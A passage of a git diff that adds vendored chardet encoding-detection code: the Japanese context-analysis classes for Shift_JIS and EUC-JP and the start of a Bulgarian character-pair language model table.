+(0,2,0,3,0,2,1,4,0,2,2,3,1,1,3,1,1,0,2,0,3,1,2,3,1,3,0,0,1,0,4,3,2,3,3,3,1,4,2,3,3,3,3,1,0,3,1,4,0,1,1,0,1,2,0,1,1,0,1,1,0,3,1,3,2,2,0,1,0,0,0,2,3,3,3,1,0,0,0,0,0,2,3), +(0,5,0,4,0,5,0,2,0,4,5,5,3,3,4,3,3,1,5,4,4,2,4,4,4,3,4,2,4,3,5,5,4,3,3,4,3,3,5,5,4,5,5,1,3,4,5,3,1,4,3,1,3,3,0,3,3,1,4,3,1,4,5,3,3,5,0,4,0,3,0,5,3,3,1,4,3,0,4,0,1,5,3), +(0,5,0,5,0,4,0,2,0,4,4,3,4,3,3,3,3,3,5,4,4,4,4,4,4,5,3,3,5,2,4,4,4,3,4,4,3,3,4,4,5,5,3,3,4,3,4,3,3,4,3,3,3,3,1,2,2,1,4,3,3,5,4,4,3,4,0,4,0,3,0,4,4,4,4,4,1,0,4,2,0,2,4), +(0,4,0,4,0,3,0,1,0,3,5,2,3,0,3,0,2,1,4,2,3,3,4,1,4,3,3,2,4,1,3,3,3,0,3,3,0,0,3,3,3,5,3,3,3,3,3,2,0,2,0,0,2,0,0,2,0,0,1,0,0,3,1,2,2,3,0,3,0,2,0,4,4,3,3,4,1,0,3,0,0,2,4), +(0,0,0,4,0,0,0,0,0,0,1,0,1,0,2,0,0,0,0,0,1,0,2,0,1,0,0,0,0,0,3,1,3,0,3,2,0,0,0,1,0,3,2,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,4,0,2,0,0,0,0,0,0,2), +(0,2,1,3,0,2,0,2,0,3,3,3,3,1,3,1,3,3,3,3,3,3,4,2,2,1,2,1,4,0,4,3,1,3,3,3,2,4,3,5,4,3,3,3,3,3,3,3,0,1,3,0,2,0,0,1,0,0,1,0,0,4,2,0,2,3,0,3,3,0,3,3,4,2,3,1,4,0,1,2,0,2,3), +(0,3,0,3,0,1,0,3,0,2,3,3,3,0,3,1,2,0,3,3,2,3,3,2,3,2,3,1,3,0,4,3,2,0,3,3,1,4,3,3,2,3,4,3,1,3,3,1,1,0,1,1,0,1,0,1,0,1,0,0,0,4,1,1,0,3,0,3,1,0,2,3,3,3,3,3,1,0,0,2,0,3,3), +(0,0,0,0,0,0,0,0,0,0,3,0,2,0,3,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,3,0,3,0,3,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,2,0,2,3,0,0,0,0,0,0,0,0,3), +(0,2,0,3,1,3,0,3,0,2,3,3,3,1,3,1,3,1,3,1,3,3,3,1,3,0,2,3,1,1,4,3,3,2,3,3,1,2,2,4,1,3,3,0,1,4,2,3,0,1,3,0,3,0,0,1,3,0,2,0,0,3,3,2,1,3,0,3,0,2,0,3,4,4,4,3,1,0,3,0,0,3,3), +(0,2,0,1,0,2,0,0,0,1,3,2,2,1,3,0,1,1,3,0,3,2,3,1,2,0,2,0,1,1,3,3,3,0,3,3,1,1,2,3,2,3,3,1,2,3,2,0,0,1,0,0,0,0,0,0,3,0,1,0,0,2,1,2,1,3,0,3,0,0,0,3,4,4,4,3,2,0,2,0,0,2,4), +(0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,2,2,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,3,1,0,0,0,0,0,0,0,3), +(0,3,0,3,0,2,0,3,0,3,3,3,2,3,2,2,2,0,3,1,3,3,3,2,3,3,0,0,3,0,3,2,2,0,2,3,1,4,3,4,3,3,2,3,1,5,4,4,0,3,1,2,1,3,0,3,1,1,2,0,2,3,1,3,1,3,0,3,0,1,0,3,3,4,4,2,1,0,2,1,0,2,4), +(0,1,0,3,0,1,0,2,0,1,4,2,5,1,4,0,2,0,2,1,3,1,4,0,2,1,0,0,2,1,4,1,1,0,3,3,0,5,1,3,2,3,3,1,0,3,2,3,0,1,0,0,0,0,0,0,1,0,0,0,0,4,0,1,0,3,0,2,0,1,0,3,3,3,4,3,3,0,0,0,0,2,3), +(0,0,0,1,0,0,0,0,0,0,2,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,1,0,0,1,0,0,0,0,0,3), +(0,1,0,3,0,4,0,3,0,2,4,3,1,0,3,2,2,1,3,1,2,2,3,1,1,1,2,1,3,0,1,2,0,1,3,2,1,3,0,5,5,1,0,0,1,3,2,1,0,3,0,0,1,0,0,0,0,0,3,4,0,1,1,1,3,2,0,2,0,1,0,2,3,3,1,2,3,0,1,0,1,0,4), +(0,0,0,1,0,3,0,3,0,2,2,1,0,0,4,0,3,0,3,1,3,0,3,0,3,0,1,0,3,0,3,1,3,0,3,3,0,0,1,2,1,1,1,0,1,2,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,2,2,1,2,0,0,2,0,0,0,0,2,3,3,3,3,0,0,0,0,1,4), +(0,0,0,3,0,3,0,0,0,0,3,1,1,0,3,0,1,0,2,0,1,0,0,0,0,0,0,0,1,0,3,0,2,0,2,3,0,0,2,2,3,1,2,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0,2,0,0,0,0,2,3), +(2,4,0,5,0,5,0,4,0,3,4,3,3,3,4,3,3,3,4,3,4,4,5,4,5,5,5,2,3,0,5,5,4,1,5,4,3,1,5,4,3,4,4,3,3,4,3,3,0,3,2,0,2,3,0,3,0,0,3,3,0,5,3,2,3,3,0,3,0,3,0,3,4,5,4,5,3,0,4,3,0,3,4), +(0,3,0,3,0,3,0,3,0,3,3,4,3,2,3,2,3,0,4,3,3,3,3,3,3,3,3,0,3,2,4,3,3,1,3,4,3,4,4,4,3,4,4,3,2,4,4,1,0,2,0,0,1,1,0,2,0,0,3,1,0,5,3,2,1,3,0,3,0,1,2,4,3,2,4,3,3,0,3,2,0,4,4), +(0,3,0,3,0,1,0,0,0,1,4,3,3,2,3,1,3,1,4,2,3,2,4,2,3,4,3,0,2,2,3,3,3,0,3,3,3,0,3,4,1,3,3,0,3,4,3,3,0,1,1,0,1,0,0,0,4,0,3,0,0,3,1,2,1,3,0,4,0,1,0,4,3,3,4,3,3,0,2,0,0,3,3), +(0,3,0,4,0,1,0,3,0,3,4,3,3,0,3,3,3,1,3,1,3,3,4,3,3,3,0,0,3,1,5,3,3,1,3,3,2,5,4,3,3,4,5,3,2,5,3,4,0,1,0,0,0,0,0,2,0,0,1,1,0,4,2,2,1,3,0,3,0,2,0,4,4,3,5,3,2,0,1,1,0,3,4), +(0,5,0,4,0,5,0,2,0,4,4,3,3,2,3,3,3,1,4,3,4,1,5,3,4,3,4,0,4,2,4,3,4,1,5,4,0,4,4,4,4,5,4,1,3,5,4,2,1,4,1,1,3,2,0,3,1,0,3,2,1,4,3,3,3,4,0,4,0,3,0,4,4,4,3,3,3,0,4,2,0,3,4), +(1,4,0,4,0,3,0,1,0,3,3,3,1,1,3,3,2,2,3,3,1,0,3,2,2,1,2,0,3,1,2,1,2,0,3,2,0,2,2,3,3,4,3,0,3,3,1,2,0,1,1,3,1,2,0,0,3,0,1,1,0,3,2,2,3,3,0,3,0,0,0,2,3,3,4,3,3,0,1,0,0,1,4), +(0,4,0,4,0,4,0,0,0,3,4,4,3,1,4,2,3,2,3,3,3,1,4,3,4,0,3,0,4,2,3,3,2,2,5,4,2,1,3,4,3,4,3,1,3,3,4,2,0,2,1,0,3,3,0,0,2,0,3,1,0,4,4,3,4,3,0,4,0,1,0,2,4,4,4,4,4,0,3,2,0,3,3), +(0,0,0,1,0,4,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,3,2,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,2), +(0,2,0,3,0,4,0,4,0,1,3,3,3,0,4,0,2,1,2,1,1,1,2,0,3,1,1,0,1,0,3,1,0,0,3,3,2,0,1,1,0,0,0,0,0,1,0,2,0,2,2,0,3,1,0,0,1,0,1,1,0,1,2,0,3,0,0,0,0,1,0,0,3,3,4,3,1,0,1,0,3,0,2), +(0,0,0,3,0,5,0,0,0,0,1,0,2,0,3,1,0,1,3,0,0,0,2,0,0,0,1,0,0,0,1,1,0,0,4,0,0,0,2,3,0,1,4,1,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,1,0,0,0,0,0,0,0,2,0,0,3,0,0,0,0,0,3), +(0,2,0,5,0,5,0,1,0,2,4,3,3,2,5,1,3,2,3,3,3,0,4,1,2,0,3,0,4,0,2,2,1,1,5,3,0,0,1,4,2,3,2,0,3,3,3,2,0,2,4,1,1,2,0,1,1,0,3,1,0,1,3,1,2,3,0,2,0,0,0,1,3,5,4,4,4,0,3,0,0,1,3), +(0,4,0,5,0,4,0,4,0,4,5,4,3,3,4,3,3,3,4,3,4,4,5,3,4,5,4,2,4,2,3,4,3,1,4,4,1,3,5,4,4,5,5,4,4,5,5,5,2,3,3,1,4,3,1,3,3,0,3,3,1,4,3,4,4,4,0,3,0,4,0,3,3,4,4,5,0,0,4,3,0,4,5), +(0,4,0,4,0,3,0,3,0,3,4,4,4,3,3,2,4,3,4,3,4,3,5,3,4,3,2,1,4,2,4,4,3,1,3,4,2,4,5,5,3,4,5,4,1,5,4,3,0,3,2,2,3,2,1,3,1,0,3,3,3,5,3,3,3,5,4,4,2,3,3,4,3,3,3,2,1,0,3,2,1,4,3), +(0,4,0,5,0,4,0,3,0,3,5,5,3,2,4,3,4,0,5,4,4,1,4,4,4,3,3,3,4,3,5,5,2,3,3,4,1,2,5,5,3,5,5,2,3,5,5,4,0,3,2,0,3,3,1,1,5,1,4,1,0,4,3,2,3,5,0,4,0,3,0,5,4,3,4,3,0,0,4,1,0,4,4), +(1,3,0,4,0,2,0,2,0,2,5,5,3,3,3,3,3,0,4,2,3,4,4,4,3,4,0,0,3,4,5,4,3,3,3,3,2,5,5,4,5,5,5,4,3,5,5,5,1,3,1,0,1,0,0,3,2,0,4,2,0,5,2,3,2,4,1,3,0,3,0,4,5,4,5,4,3,0,4,2,0,5,4), +(0,3,0,4,0,5,0,3,0,3,4,4,3,2,3,2,3,3,3,3,3,2,4,3,3,2,2,0,3,3,3,3,3,1,3,3,3,0,4,4,3,4,4,1,1,4,4,2,0,3,1,0,1,1,0,4,1,0,2,3,1,3,3,1,3,4,0,3,0,1,0,3,1,3,0,0,1,0,2,0,0,4,4), +(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0), +(0,3,0,3,0,2,0,3,0,1,5,4,3,3,3,1,4,2,1,2,3,4,4,2,4,4,5,0,3,1,4,3,4,0,4,3,3,3,2,3,2,5,3,4,3,2,2,3,0,0,3,0,2,1,0,1,2,0,0,0,0,2,1,1,3,1,0,2,0,4,0,3,4,4,4,5,2,0,2,0,0,1,3), +(0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,4,2,1,1,0,1,0,3,2,0,0,3,1,1,1,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3,0,1,0,0,0,2,0,0,0,1,4,0,4,2,1,0,0,0,0,0,1), +(0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,3,1,0,0,0,2,0,2,1,0,0,1,2,1,0,1,1,0,0,3,0,0,0,0,0,0,0,0,0,0,0,1,3,1,0,0,0,0,0,1,0,0,2,1,0,0,0,0,0,0,0,0,2), +(0,4,0,4,0,4,0,3,0,4,4,3,4,2,4,3,2,0,4,4,4,3,5,3,5,3,3,2,4,2,4,3,4,3,1,4,0,2,3,4,4,4,3,3,3,4,4,4,3,4,1,3,4,3,2,1,2,1,3,3,3,4,4,3,3,5,0,4,0,3,0,4,3,3,3,2,1,0,3,0,0,3,3), +(0,4,0,3,0,3,0,3,0,3,5,5,3,3,3,3,4,3,4,3,3,3,4,4,4,3,3,3,3,4,3,5,3,3,1,3,2,4,5,5,5,5,4,3,4,5,5,3,2,2,3,3,3,3,2,3,3,1,2,3,2,4,3,3,3,4,0,4,0,2,0,4,3,2,2,1,2,0,3,0,0,4,1), +) + +class JapaneseContextAnalysis(object): + NUM_OF_CATEGORY = 6 + DONT_KNOW = -1 + ENOUGH_REL_THRESHOLD = 100 + MAX_REL_THRESHOLD = 1000 + MINIMUM_DATA_THRESHOLD = 4 + + def __init__(self): + self._total_rel = None + self._rel_sample = None + self._need_to_skip_char_num = None + self._last_char_order = None + self._done = None + self.reset() + + def reset(self): + self._total_rel = 0 # total sequence received + # category counters, each integer counts sequence in its category + self._rel_sample = [0] * self.NUM_OF_CATEGORY + # if last byte in current buffer is not the last byte of a character, + # we need to know how many bytes to skip in next buffer + self._need_to_skip_char_num = 0 + self._last_char_order = -1 # The order of previous char + # If this flag is set to True, detection is done and conclusion has + # been made + self._done = False + + def feed(self, byte_str, num_bytes): + if self._done: + return + + # The buffer we got is byte oriented, and a character may span in more than one + # buffers. In case the last one or two byte in last buffer is not + # complete, we record how many byte needed to complete that character + # and skip these bytes here. We can choose to record those bytes as + # well and analyse the character once it is complete, but since a + # character will not make much difference, by simply skipping + # this character will simply our logic and improve performance. + i = self._need_to_skip_char_num + while i < num_bytes: + order, char_len = self.get_order(byte_str[i:i + 2]) + i += char_len + if i > num_bytes: + self._need_to_skip_char_num = i - num_bytes + self._last_char_order = -1 + else: + if (order != -1) and (self._last_char_order != -1): + self._total_rel += 1 + if self._total_rel > self.MAX_REL_THRESHOLD: + self._done = True + break + self._rel_sample[jp2CharContext[self._last_char_order][order]] += 1 + self._last_char_order = order + + def got_enough_data(self): + return self._total_rel > self.ENOUGH_REL_THRESHOLD + + def get_confidence(self): + # This is just one way to calculate confidence. It works well for me. + if self._total_rel > self.MINIMUM_DATA_THRESHOLD: + return (self._total_rel - self._rel_sample[0]) / self._total_rel + else: + return self.DONT_KNOW + + def get_order(self, byte_str): + return -1, 1 + +class SJISContextAnalysis(JapaneseContextAnalysis): + def __init__(self): + super(SJISContextAnalysis, self).__init__() + self._charset_name = "SHIFT_JIS" + + @property + def charset_name(self): + return self._charset_name + + def get_order(self, byte_str): + if not byte_str: + return -1, 1 + # find out current char's byte length + first_char = byte_str[0] + if (0x81 <= first_char <= 0x9F) or (0xE0 <= first_char <= 0xFC): + char_len = 2 + if (first_char == 0x87) or (0xFA <= first_char <= 0xFC): + self._charset_name = "CP932" + else: + char_len = 1 + + # return its order if it is hiragana + if len(byte_str) > 1: + second_char = byte_str[1] + if (first_char == 202) and (0x9F <= second_char <= 0xF1): + return second_char - 0x9F, char_len + + return -1, char_len + +class EUCJPContextAnalysis(JapaneseContextAnalysis): + def get_order(self, byte_str): + if not byte_str: + return -1, 1 + # find out current char's byte length + first_char = byte_str[0] + if (first_char == 0x8E) or (0xA1 <= first_char <= 0xFE): + char_len = 2 + elif first_char == 0x8F: + char_len = 3 + else: + char_len = 1 + + # return its order if it is hiragana + if len(byte_str) > 1: + second_char = byte_str[1] + if (first_char == 0xA4) and (0xA1 <= second_char <= 0xF3): + return second_char - 0xA1, char_len + + return -1, char_len + + diff --git a/src/thirdparty/chardet/langbulgarianmodel.py b/src/thirdparty/chardet/langbulgarianmodel.py new file mode 100644 index 0000000000..89666872d1 --- /dev/null +++ b/src/thirdparty/chardet/langbulgarianmodel.py @@ -0,0 +1,4650 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +from .sbcharsetprober import SingleByteCharSetModel + + +# 3: Positive +# 2: Likely +# 1: Unlikely +# 0: Negative + +BULGARIAN_LANG_MODEL = { + 63: { # 'e' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 0, # 'а' + 18: 1, # 'б' + 9: 1, # 'в' + 20: 1, # 'г' + 11: 1, # 'д' + 3: 1, # 'е' + 23: 1, # 'ж' + 15: 1, # 'з' + 2: 0, # 'и' + 26: 1, # 'й' + 12: 1, # 'к' + 10: 1, # 'л' + 14: 1, # 'м' + 6: 1, # 'н' + 4: 1, # 'о' + 13: 1, # 'п' + 7: 1, # 'р' + 8: 1, # 'с' + 5: 1, # 'т' + 19: 0, # 'у' + 29: 1, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 1, # 'ч' + 27: 1, # 'ш' + 24: 1, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 45: { # '\xad' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 0, # 'Г' + 37: 1, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 1, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 0, # 'Л' + 38: 1, # 'М' + 36: 0, # 'Н' + 41: 1, # 'О' + 30: 1, # 'П' + 39: 1, # 'Р' + 28: 1, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 1, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 0, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 0, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 0, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 0, # 'о' + 13: 0, # 'п' + 7: 0, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 0, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 31: { # 'А' + 63: 0, # 'e' + 45: 1, # '\xad' + 31: 1, # 'А' + 32: 1, # 'Б' + 35: 2, # 'В' + 43: 1, # 'Г' + 37: 2, # 'Д' + 44: 2, # 'Е' + 55: 1, # 'Ж' + 47: 2, # 'З' + 40: 1, # 'И' + 59: 1, # 'Й' + 33: 1, # 'К' + 46: 2, # 'Л' + 38: 1, # 'М' + 36: 2, # 'Н' + 41: 1, # 'О' + 30: 2, # 'П' + 39: 2, # 'Р' + 28: 2, # 'С' + 34: 2, # 'Т' + 51: 1, # 'У' + 48: 2, # 'Ф' + 49: 1, # 'Х' + 53: 1, # 'Ц' + 50: 1, # 'Ч' + 54: 1, # 'Ш' + 57: 2, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 1, # 'Я' + 1: 1, # 'а' + 18: 2, # 'б' + 9: 2, # 'в' + 20: 2, # 'г' + 11: 2, # 'д' + 3: 1, # 'е' + 23: 1, # 'ж' + 15: 2, # 'з' + 2: 0, # 'и' + 26: 2, # 'й' + 12: 2, # 'к' + 10: 3, # 'л' + 14: 2, # 'м' + 6: 3, # 'н' + 4: 0, # 'о' + 13: 2, # 'п' + 7: 2, # 'р' + 8: 2, # 'с' + 5: 2, # 'т' + 19: 1, # 'у' + 29: 2, # 'ф' + 25: 1, # 'х' + 22: 1, # 'ц' + 21: 1, # 'ч' + 27: 1, # 'ш' + 24: 0, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 32: { # 'Б' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 2, # 'А' + 32: 2, # 'Б' + 35: 1, # 'В' + 43: 1, # 'Г' + 37: 2, # 'Д' + 44: 1, # 'Е' + 55: 1, # 'Ж' + 47: 2, # 'З' + 40: 1, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 2, # 'Н' + 41: 2, # 'О' + 30: 1, # 'П' + 39: 1, # 'Р' + 28: 2, # 'С' + 34: 2, # 'Т' + 51: 1, # 'У' + 48: 2, # 'Ф' + 49: 1, # 'Х' + 53: 1, # 'Ц' + 50: 1, # 'Ч' + 54: 0, # 'Ш' + 57: 1, # 'Щ' + 61: 2, # 'Ъ' + 60: 1, # 'Ю' + 56: 1, # 'Я' + 1: 3, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 1, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 2, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 2, # 'р' + 8: 1, # 'с' + 5: 0, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 3, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 2, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 35: { # 'В' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 2, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 0, # 'Г' + 37: 1, # 'Д' + 44: 2, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 2, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 1, # 'О' + 30: 1, # 'П' + 39: 2, # 'Р' + 28: 2, # 'С' + 34: 1, # 'Т' + 51: 1, # 'У' + 48: 2, # 'Ф' + 49: 0, # 'Х' + 53: 1, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 1, # 'Ъ' + 60: 1, # 'Ю' + 56: 2, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 1, # 'д' + 3: 3, # 'е' + 23: 1, # 'ж' + 15: 2, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 2, # 'л' + 14: 1, # 'м' + 6: 2, # 'н' + 4: 2, # 'о' + 13: 1, # 'п' + 7: 2, # 'р' + 8: 2, # 'с' + 5: 2, # 'т' + 19: 1, # 'у' + 29: 0, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 2, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 43: { # 'Г' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 2, # 'А' + 32: 1, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 1, # 'Д' + 44: 2, # 'Е' + 55: 0, # 'Ж' + 47: 1, # 'З' + 40: 1, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 0, # 'М' + 36: 1, # 'Н' + 41: 1, # 'О' + 30: 0, # 'П' + 39: 1, # 'Р' + 28: 1, # 'С' + 34: 0, # 'Т' + 51: 1, # 'У' + 48: 1, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 1, # 'Щ' + 61: 1, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 2, # 'а' + 18: 1, # 'б' + 9: 1, # 'в' + 20: 0, # 'г' + 11: 1, # 'д' + 3: 3, # 'е' + 23: 1, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 2, # 'л' + 14: 1, # 'м' + 6: 1, # 'н' + 4: 2, # 'о' + 13: 0, # 'п' + 7: 2, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 1, # 'щ' + 17: 2, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 37: { # 'Д' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 2, # 'А' + 32: 1, # 'Б' + 35: 2, # 'В' + 43: 1, # 'Г' + 37: 2, # 'Д' + 44: 2, # 'Е' + 55: 2, # 'Ж' + 47: 1, # 'З' + 40: 2, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 2, # 'О' + 30: 2, # 'П' + 39: 1, # 'Р' + 28: 2, # 'С' + 34: 1, # 'Т' + 51: 1, # 'У' + 48: 1, # 'Ф' + 49: 0, # 'Х' + 53: 1, # 'Ц' + 50: 1, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 1, # 'Ъ' + 60: 1, # 'Ю' + 56: 1, # 'Я' + 1: 3, # 'а' + 18: 0, # 'б' + 9: 2, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 3, # 'е' + 23: 3, # 'ж' + 15: 1, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 1, # 'л' + 14: 1, # 'м' + 6: 2, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 2, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 1, # 'ь' + 42: 2, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 44: { # 'Е' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 1, # 'А' + 32: 1, # 'Б' + 35: 2, # 'В' + 43: 1, # 'Г' + 37: 1, # 'Д' + 44: 1, # 'Е' + 55: 1, # 'Ж' + 47: 1, # 'З' + 40: 1, # 'И' + 59: 1, # 'Й' + 33: 2, # 'К' + 46: 2, # 'Л' + 38: 1, # 'М' + 36: 2, # 'Н' + 41: 2, # 'О' + 30: 1, # 'П' + 39: 2, # 'Р' + 28: 2, # 'С' + 34: 2, # 'Т' + 51: 1, # 'У' + 48: 2, # 'Ф' + 49: 1, # 'Х' + 53: 2, # 'Ц' + 50: 1, # 'Ч' + 54: 1, # 'Ш' + 57: 1, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 1, # 'Я' + 1: 0, # 'а' + 18: 1, # 'б' + 9: 2, # 'в' + 20: 1, # 'г' + 11: 2, # 'д' + 3: 0, # 'е' + 23: 1, # 'ж' + 15: 1, # 'з' + 2: 0, # 'и' + 26: 1, # 'й' + 12: 2, # 'к' + 10: 2, # 'л' + 14: 2, # 'м' + 6: 2, # 'н' + 4: 0, # 'о' + 13: 1, # 'п' + 7: 2, # 'р' + 8: 2, # 'с' + 5: 1, # 'т' + 19: 1, # 'у' + 29: 1, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 1, # 'ч' + 27: 1, # 'ш' + 24: 1, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 55: { # 'Ж' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 1, # 'А' + 32: 0, # 'Б' + 35: 1, # 'В' + 43: 0, # 'Г' + 37: 1, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 1, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 1, # 'Н' + 41: 1, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 